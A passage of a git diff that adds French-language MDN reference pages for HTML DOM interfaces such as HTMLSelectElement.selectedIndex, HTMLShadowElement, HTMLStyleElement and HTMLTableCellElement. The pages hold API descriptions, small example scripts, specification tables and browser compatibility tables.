+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{ domxref("ChildNode.remove") }}, la méthode appelée quand remove est créé sans argument pour un {{ domxref("HTMLSelectElement") }}.</li>
+ <li>{{domxref("HTMLSelectElement") }} qui possède cette méthode.</li>
+</ul>
diff --git a/files/fr/web/api/htmlselectelement/selectedindex/index.html b/files/fr/web/api/htmlselectelement/selectedindex/index.html
new file mode 100644
index 0000000000..3ba1a7eb93
--- /dev/null
+++ b/files/fr/web/api/htmlselectelement/selectedindex/index.html
@@ -0,0 +1,71 @@
+---
+title: HTMLSelectElement.selectedIndex
+slug: Web/API/HTMLSelectElement/selectedIndex
+translation_of: Web/API/HTMLSelectElement/selectedIndex
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><code><strong>HTMLSelectElement.selectedIndex</strong></code> est un <code>long</code> qui représente l'index du premier élément sélectionné {{HTMLElement("option")}}. La valeur <code>-1</code> indique qu'aucun élément est sélectionné.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>index</var> = <var>selectElem</var>.selectedIndex;
+<em>selectElem<code>.selectedIndex = </code>index;</em>
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="p"&gt;selectedIndex: 0&lt;/p&gt;
+
+&lt;select id="select"&gt;
+  &lt;option selected&gt;Option A&lt;/option&gt;
+  &lt;option&gt;Option B&lt;/option&gt;
+  &lt;option&gt;Option C&lt;/option&gt;
+  &lt;option&gt;Option D&lt;/option&gt;
+  &lt;option&gt;Option E&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js; highlight[6]">var selectElem = document.getElementById('select');
+var pElem = document.getElementById('p');
+
+// Quand une nouvelle &lt;option&gt; est selectionnée
+selectElem.addEventListener('change', function() {
+  var index = selectElem.selectedIndex;
+  // Rapporter cette donnée au &lt;p&gt;
+  pElem.innerHTML = 'selectedIndex: ' + index;
+})</pre>
+
+<p>{{EmbedLiveSample("Exemple", "200px", "80px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-select-selectedindex', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis le snapshot précédent, {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#dom-select-selectedindex', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale, snapshot de {{SpecName("HTML WHATWG")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_entre_les_navigateurs">Compatibilité entre les navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.HTMLSelectElement.selectedIndex")}}</p>
diff --git a/files/fr/web/api/htmlselectelement/setcustomvalidity/index.html b/files/fr/web/api/htmlselectelement/setcustomvalidity/index.html
new file mode 100644
index 0000000000..b5163f567d
--- /dev/null
+++ b/files/fr/web/api/htmlselectelement/setcustomvalidity/index.html
@@ -0,0 +1,106 @@
+---
+title: HTMLSelectElement.setCustomValidity()
+slug: Web/API/HTMLSelectElement/setCustomValidity
+translation_of: Web/API/HTMLSelectElement/setCustomValidity
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p>La méthode <code><strong>HTMLSelectElement.setCustomValidity()</strong></code> définit le message de validation personnalisé de l'élément sélectionné avec le message renseigné. Utiliser une chaîne de caractère vide indique que l'élément <em>n'a pas</em> de message d'erreur de validation personnalisé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="eval  language-html"><code class="language-html"><em>ElmSelectionne</em>.setCustomValidity(<em>message</em>);</code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<ul>
+ <li><em>message </em>est le {{domxref("DOMString")}} contenant le message d'erreur.</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Pas de changement depuis la dernière snapshot, {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition initiale, snapshot de {{SpecName('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Edge</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">Form validation.</a></li>
+</ul>
diff --git a/files/fr/web/api/htmlshadowelement/index.html b/files/fr/web/api/htmlshadowelement/index.html
new file mode 100644
index 0000000000..6da5cbc00c
--- /dev/null
+++ b/files/fr/web/api/htmlshadowelement/index.html
@@ -0,0 +1,123 @@
+---
+title: HTMLShadowElement
+slug: Web/API/HTMLShadowElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Reference
+  - Web Components
+translation_of: Web/API/HTMLShadowElement
+---
+<p>{{ APIRef("Web Components") }}</p>
+
+<p>L'interface <code><strong>HTMLShadowElement</strong></code> représente un élement HTML {{HTMLElement("shadow")}}, utililisé dans le <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a>. </p>
+
+<h2 id="Properties" name="Properties">Propriétés</h2>
+
+<p><em>Cette interface hérite des propriétés de {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Cette interface hérite des methodes de {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLContentElement.getDistributedNodes()")}}</dt>
+ <dd>Retourne un {{domxref("NodeList")}} statique du {{glossary("distributed nodes")}} associé avec l'élément <code>&lt;content&gt;</code>. </dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM', '#the-shadow-element', 'shadow')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>35</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatGeckoDesktop("28")}}</span> [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatNo}}</span></td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLShadowElement.getDistributedNodes", "getDistributedNodes()")}}</td>
+   <td>35</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatNo}}</span></td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatNo}}</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>37</td>
+   <td>{{CompatGeckoMobile("28")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLShadowElement.getDistributedNodes", "getDistributedNodes()")}}</td>
+   <td>37</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatNo}}</span></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Si Shadow DOM n'est pas activé sur Firefox, les élements &lt;content&gt; agiront comme des  {{domxref("HTMLUnknownElement")}}. Les Shadow DOM ont été ajoutés à Firefox 28 et sont derrière une configuration <code>dom.webcomponents.enabled</code>, qui est désactivée par défaut.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>L'élément HTML {{HTMLElement("shadow")}}, qui implémente cette interface.</li>
+ <li><a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a></li>
+</ul>
+
+<dl>
+ <dt> </dt>
+</dl>
diff --git a/files/fr/web/api/htmlspanelement/index.html b/files/fr/web/api/htmlspanelement/index.html
new file mode 100644
index 0000000000..013a2d9777
--- /dev/null
+++ b/files/fr/web/api/htmlspanelement/index.html
@@ -0,0 +1,19 @@
+---
+title: HTMLSpanElement
+slug: Web/API/HTMLSpanElement
+tags:
+  - DOM
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLSpanElement
+---
+<div>
+ {{ ApiRef() }}</div>
+<p>L'élément DOM <code>span</code> supporte l'interface <code><span class="external">HTMLSpanElement</span></code>, qui est dérivé de l'interface {{ domxref("HTMLElement") }}. Il ne supporte aucune propriété ou méthode additionnelle par rapport à <code>HTMLElement</code>.</p>
+<h2 id="Voir_également">Voir également</h2>
+<ul>
+ <li>{{ HTMLElement("span") }}</li>
+ <li>Spécification W3C de l'élément <a class="external" href="http://www.w3.org/TR/html4/struct/global.html#edef-SPAN" title="http://www.w3.org/TR/html4/struct/global.html#edef-SPAN">span</a></li>
+ <li>Spécification DOM : <a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-58190037" title="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-58190037">interface <span class="external"><code>HTMLElement</code></span></a></li>
+</ul>
+<div>
+  </div>
diff --git a/files/fr/web/api/htmlstyleelement/index.html b/files/fr/web/api/htmlstyleelement/index.html
new file mode 100644
index 0000000000..75fb1d9b74
--- /dev/null
+++ b/files/fr/web/api/htmlstyleelement/index.html
@@ -0,0 +1,115 @@
+---
+title: style
+slug: Web/API/HTMLStyleElement
+tags:
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/HTMLStyleElement
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>Consultez les pages suivantes pour plus d'informations sur certains des objets utilisés pour manipuler les propriétés CSS depuis le DOM :</p>
+<ul>
+ <li><a href="fr/DOM/element.style">L'objet DOM element.style</a></li>
+ <li><a href="fr/DOM/stylesheet">L'objet DOM stylesheet</a></li>
+ <li><a href="fr/DOM/cssRule">L'objet DOM cssRule</a></li>
+ <li><a href="fr/DOM/CSS">La liste des propriétés DOM CSS</a></li>
+</ul>
+<h3 id="Informations_.C3.A0_d.C3.A9placer_vers_d.27autres_pages" name="Informations_.C3.A0_d.C3.A9placer_vers_d.27autres_pages">Informations à déplacer vers d'autres pages</h3>
+<p>L'objet basique <code>style</code> explose les interfaces <code>StyleSheet</code> et <code>CSSStyleSheet</code> de la spécification
+ <i>
+  DOM Level 2 Style</i>
+ . Ces interfaces contiennent des membres comme <code>insertRule</code>, <code>selectorText</code>, et <code>parentStyleSheet</code> permettant d'accéder et de manipuler les règles de style individuelles qui constituent une feuille de style CSS.</p>
+<p>Pour obtenir les objets <code>style</code> depuis un objet <code>document</code>, il est possible d'utiliser la propriété <code>document.styleSheets</code> et d'accéder aux objets individuels par un index (par exemple, <code>document.styleSheets{{ mediawiki.external(0) }}</code> est la première feuille de style définie pour le document, et ainsi de suite). Bien qu'il existe plusieurs syntaxes pour exprimer les feuilles de style d'un document, les navigateurs basés sur Mozilla gèrent uniquement CSS. Par conséquent, l'objet <code>style</code> récupéré depuis ce tableau implémente à la fois les interfaces StyleSheet et CSSStyleSheet.</p>
+<pre class="eval">var ss = document.styleSheets[1];
+ss.cssRules[0].style.backgroundColor="blue";
+</pre>
+<p>La liste des propriétés disponibles dans le DOM pour la propriété de style est donnée dans la <a href="fr/DOM/CSS">liste des propriétés DOM CSS</a>.</p>
+<p>La propriété <a href="fr/DOM/style">style</a> de l'élément peut également être utilisée pour obtenir et définir les styles d'un élément. Cependant, cette propriété renvoie uniquement les attributs de style qui ont été définis
+ <i>
+  in-line</i>
+ ou directement sur cet élément à l'aide de <code>element.style.propertyName</code> (par exemple <code>&lt;td style="background-color: lightblue"&gt;</code> renvoie la chaîne "background-color:lightblue", même si d'autres styles peuvent s'appliquer à l'élément depuis une feuille de style).</p>
+<p>De plus, lorsque cette propriété est définie sur un élément, elle écrase et efface tout style qui peut avoir été défini ailleurs pour cette propriété particulière de l'élément. Par exemple, définir la propriété <code>border</code> écrasera les réglages définis ailleurs pour la propriété <code>border</code> de cet élément dans la section <code>head</code> du document ou dans des feuilles de style externes. Cependant, cela n'affectera pas les autres déclarations de propriétés pour les styles de cet élément, comme <code>padding</code>, <code>margin</code> ou <code>font</code> par exemple.</p>
+<p>Pour changer le style d'un élément particulier, l'exemple suivant peut être adapté :</p>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;exemple de style simple&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function alterStyle(elem) {
+  elem.style.background = 'green';
+}
+
+function resetStyle(elemId) {
+  elem = document.getElementById(elemId);
+  elem.style.background = 'white';
+}
+&lt;/script&gt;
+
+&lt;style type="text/css"&gt;
+#p1 {
+ border: solid blue 2px;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;!-- passe une référence à l'objet de l'élément comme paramètre 'this'. --&gt;
+&lt;p id="p1" onclick="alterStyle(this)";&gt;
+ Cliquez ici pour changer la couleur de fond. &lt;/p&gt;
+
+&lt;!-- passe l'id 'p1' d'un autre style de l'élément à modifier. --&gt;
+&lt;button onclick="resetStyle('p1');"&gt;Réinitialiser la couleur de fond&lt;/button&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>La méthode <code>getComputedStyle()</code> de l'objet <code>document.defaultView</code> renvoie tous les styles qui ont finalement été calculés pour un élément. Consultez l'<a href="fr/R%c3%a9f%c3%a9rence_du_DOM_Gecko/Exemples#Exemple_6_:_getComputedStyle">exemple 6 : getComputedStyle</a> dans le chapitre des exemples pour plus d'informations sur l'utilisation de cette méthode.</p>
+<h3 id="L.27objet_DOM_style" name="L.27objet_DOM_style">L'objet DOM style</h3>
+<p>L'objet <code>style</code> représente une règle de style individuelle. Contrairement aux règles individuelles disponibles depuis la collection <code><a href="fr/DOM/document.styleSheets">document.styleSheets</a></code>, on accède à l'objet depuis l'objet <code>document</code> ou depuis les éléments auxquels ce style est appliqué. Il représente les styles
+ <i>
+  in-line</i>
+ d'un élément particulier.</p>
+<p>Mais il y a plus important que les deux propriétés exposées ici, c'est l'utilisation de l'objet <code>style</code> pour définir des propriétés de style individuelles sur un élément :</p>
+<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+  "http://www.w3.org/TR/html4/loose.dtd"&gt;
+&lt;html&gt;
+ &lt;head&gt;
+  &lt;title&gt;style Property Example&lt;/title&gt;
+  &lt;link rel="StyleSheet" href="example.css" type="text/css"&gt;
+  &lt;script type="text/javascript"&gt;
+    function stilo()
+    {
+      document.getElementById("d").style.color = "orange";
+    }
+  &lt;/script&gt;
+ &lt;/head&gt;
+
+ &lt;body&gt;
+  &lt;div id="d" class="thunder"&gt;Thunder&lt;/div&gt;
+  &lt;button onclick="stilo()"&gt;ss&lt;/button&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<p>Les attributs <b>media</b> et <b>type</b> du style peuvent être donnés ou non. Notez qu'il est également possible de changer les styles d'un élément en obtenant une référence vers cet élément et en utilisant ensuite sa méthode DOM <a href="fr/DOM/element.setAttribute">setAttribute()</a> pour spécifier à la fois la propriété CSS et sa valeur.</p>
+<pre class="eval">var el = document.getElementById("un-element");
+el.setAttribute("style", "background-color:darkblue;");
+</pre>
+<p><br>
+ Soyez cependant conscient que <code>setAttribute</code> écrasera toute propriété de style qui pourrait déjà avoir été définie dans l'objet style de cet élément. Si l'élément « un-element » ci-dessus avait déjà un attribut indiquant par exemple <code>style="font-size: 18px"</code>, cette valeur serait supprimée par l'utilisation de <code>setAttribute</code>.</p>
+<h5 id="Propri.C3.A9t.C3.A9s" name="Propri.C3.A9t.C3.A9s">Propriétés</h5>
+<dl>
+ <dt>
+  <a href="fr/DOM/style.media">style.media</a></dt>
+ <dd>
+  spécifie le média de destination pour lequel l'information de style est prévue.</dd>
+ <dt>
+  <a href="fr/DOM/style.type">style.type</a></dt>
+ <dd>
+  renvoie le type de style appliqué par cette règle.</dd>
+</dl>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/style", "es": "es/DOM/style", "pl": "pl/DOM/style" } ) }}</p>
diff --git a/files/fr/web/api/htmltablecellelement/index.html b/files/fr/web/api/htmltablecellelement/index.html
new file mode 100644
index 0000000000..2de9fbc52b
--- /dev/null
+++ b/files/fr/web/api/htmltablecellelement/index.html
@@ -0,0 +1,162 @@
+---
+title: HTMLTableCellElement
+slug: Web/API/HTMLTableCellElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - Reference
+translation_of: Web/API/HTMLTableCellElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<p>L'interface <strong><span class="external"><code>HTMLTableCellElement</code></span></strong> expose des méthodes et des propriétés spécifiques (s'ajoutant à celles fournies par l'interface générique {{domxref("HTMLElement")}}, également disponibles par héritage) pour l'agencement et la gestion de l'apparence des cellules de tableau dans un document HTML, qu'il s'agisse de cellules d'entête ou de données.</p>
+
+<h2 id="Properties" name="Properties">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLTableCellElement.colSpan")}}</dt>
+ <dd>Renvoie un entier long positif (<code>unsigned</code> <code>long</code>) représentant le nombre de colonnes sur lesquelles doit s'étendre cette cellule. C'est une représentation de l'attribut {{htmlattrxref("colspan", "td")}}.</dd>
+ <dt>{{domxref("HTMLTableCellElement.rowSpan")}}</dt>
+ <dd>Renvoie un entier long positif (<code>unsigned</code> <code>long</code>) représentant le nombre de lignes sur lesquelles doit s'étendre cette cellule. C'est une représentation de l'attribut {{htmlattrxref("rowspan", "td")}}.</dd>
+ <dt>{{domxref("HTMLTableCellElement.headers")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un objet {{domxref("DOMSettableTokenList")}} décrivant la liste des <code>id</code> des éléments {{HTMLElement("th")}} représentant les entêtes associés à la cellule. C'est une représentation de l'attribut {{htmlattrxref("headers", "td")}}.</dd>
+ <dt>{{domxref("HTMLTableCellElement.cellIndex")}} {{readonlyInline}}</dt>
+ <dd>Renvoie un entier long (<code>long</code>) représentant la position de la cellule dans la collection de cellules de l'élement {{HTMLElement("tr")}} auquel elle appartient. Cette propriété renvoie<code>-1</code> si la cellule n'appartient à aucun élément <code>&lt;tr&gt;.</code></dd>
+ <dt>{{domxref("HTMLTableCellElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Renvoie un chaîne {{domxref("DOMString")}} contenant la valeur énumérée de l'attribut {{htmlattrxref("align", "td")}}. Cette propriété décrit l'alignement du contenu de la cellule compte tenu du contexte ; ses valeurs possibles sont <code>"left"</code>, <code>"right"</code>, et <code>"center"</code>.</dd>
+ <dt>{{domxref("HTMLTableCellElement.bgColor")}} {{obsolete_inline}}</dt>
+ <dd>Renvoie une chaîne {{domxref("DOMString")}} contenant la couleur de fond des cellules. C'est une représentation de l'attribut obsolète {{htmlattrxref("bgColor", "td")}}.</dd>
+ <dt>{{domxref("HTMLTableCellElement.axis")}} {{obsolete_inline}}</dt>
+ <dd>Renvoie une chaîne {{domxref("DOMString")}} contenant un nom regroupant des cellules de manière virtuelle. C'est une représentation de l'attribut obsolète {{htmlattrxref("axis", "td")}}.</dd>
+ <dt>{{domxref("HTMLTableCellElement.height")}} {{obsolete_inline}}</dt>
+ <dd>Renvoie une chaîne {{domxref("DOMString")}} contenant la valeur en pixels de la hauteur de l'empreinte de la cellule. C'est une représentation de l'attribut obsolète {{htmlattrxref("height", "td")}}.</dd>
+ <dt>{{domxref("HTMLTableCellElement.width")}} {{obsolete_inline}}</dt>
+ <dd>Renvoie une chaîne {{domxref("DOMString")}} contenant la valeur en pixels de la largeur de l'empreinte de la cellule. C'est une représentation de l'attribut obsolète {{htmlattrxref("width", "td")}}.</dd>
+ <dt>{{domxref("HTMLTableCellElement.ch")}} {{obsolete_inline}}</dt>
+ <dd>Renvoie une chaîne {{domxref("DOMString")}} contenant un unique caractère. Ce caractère est celui utilisé pour l'alignement de toutes les cellules d'une même colonne. Il représente l'attribut {{htmlattrxref("char", "td")}} et prend par défaut la valeur du séparateur décimal associé à la langue, par exemple <code>'.'</code> pour l'anglais, <code>ou ','</code> pour le français. Cette propriété était optionnelle et peu supportée.</dd>
+ <dt>{{domxref("HTMLTableCellElement.chOff")}} {{obsolete_inline}}</dt>
+ <dd>Renvoie une chaîne {{domxref("DOMString")}} contenant un entier indiquant le nombre de caractères devant être laissés à droite (pour les écritures de gauche à droite<span style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'> </span>; sinon à gauche pour les écritures de droite à gauche) du caractère défini par <code>HTMLTableCellElement.ch</code>. Cette propriété était optionnelle et peu supportée.</dd>
+ <dt>{{domxref("HTMLTableCellElement.noWrap")}} {{obsolete_inline}}</dt>
+ <dd>Renvoie un valeur booléenne {{domxref("Boolean")}} représentant l'attribut {{htmlattrxref("nowrap", "td")}} et indiquant si le contenu de la cellule peut être scindé en plusieurs lignes.</dd>
+ <dt>{{domxref("HTMLTableCellElement.vAlign")}} {{obsolete_inline}}</dt>
+ <dd>Renvoie une chaîne {{domxref("DOMString")}} contenant une valeur énumérée indiquant le type d'alignement vertical attendu du contenu de la cellule. Cette propriété représente l'attribut {{htmlattrxref("valign", "td")}} et peut prendre l'une des valeurs suivantes : <code>"top"</code>, <code>"middle"</code>, <code>"bottom"</code>, <code>ou "baseline"</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Méthodes</h2>
+
+<p><em>Aucune méthode spécifique ; hérite des méthodes de son parent, {{domxref("HTMLElement")}}</em>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "tabular-data.html#htmltablecellelement", "HTMLTableCellElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "tabular-data.html#htmltablecellelement", "HTMLTableCellElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Les propriétés suivantes sont devenues obsolètes<span style='font-family: "Calibri",sans-serif; font-size: 11.0pt; line-height: 107%;'> </span>: <code>align</code>, <code>axis</code>, <code>bgColor</code>, <code>height</code>, <code>width</code>, <code>ch</code>, <code>chOff</code>, <code>noWrap</code>, <code>et vAlign</code>.<br>
+    La propriété <code>headers</code> est maintenant en lecture seule et renvoie un objet {{domxref("DOMSettableTokenList")}} au lieu d'une simple chaîne {{domxref("DOMString")}}.<br>
+    Les propriétés <code>colspan</code> et <code>rowspan</code> renvoient maintenant des entiers long positifs (<code>unsigned long)</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-82915075', 'HTMLTableCellElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>La propriété <code>cellIndex</code> est maintenant accessible en lecture seule.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-82915075', 'HTMLTableCellElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ch</code> and <code>chOff</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ch</code> and <code>chOff</code></td>
